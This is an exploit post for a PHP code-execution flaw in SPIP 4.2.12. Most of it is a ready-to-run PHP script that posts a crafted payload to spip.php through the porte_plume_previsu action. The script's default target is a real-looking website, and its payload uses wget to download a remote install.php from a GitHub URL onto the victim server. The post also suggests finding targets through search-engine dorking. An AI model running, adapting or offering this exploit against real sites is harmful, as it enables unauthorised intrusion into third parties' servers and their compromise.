SPIP 4.2.12 Code Execution

=============================================================================================================================================| # Title     : SPIP 4.2.12 PHP Code execution Vulnerability                                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://www.spip.net/fr_rubrique91.html                                                                                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Line 31 : Set your target.[+] Save Payload as poc.php and run from cmd = C:\www\test>php poc.php[+] Payload :<?php<?phpclass indoushka {    private $targetUrl;    private $payload;    public function __construct($targetUrl, $payload) {        $this->targetUrl = rtrim($targetUrl, '/') . '/spip.php';        $this->payload = $this->generatePayload($payload);    }   private function generatePayload($payload) {    return "[<img" . rand(10000000, 99999999) . ">->URL`<?php {$payload} ?>`]";}    public function exploit() {        $data = http_build_query(['action' => 'porte_plume_previsu', 'data' => $this->payload]);        $ch = curl_init($this->targetUrl);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        curl_setopt($ch, CURLOPT_POST, true);        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);        $response = curl_exec($ch);        curl_close($ch);        echo "Exploit Sent! Response:\n";        echo $response;    }}$targetUrl = 'https://www.speleo-mandeure.fr/'; // استبدل هذا بالعنوان الحقيقي$payload = 'system("wget https://raw.githubusercontent.com/indoushka/Mari/master/install.php");'; // أوامر PHP التي تريد تنفيذها$exploit = new indoushka($targetUrl, $payload);$exploit->exploit();Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================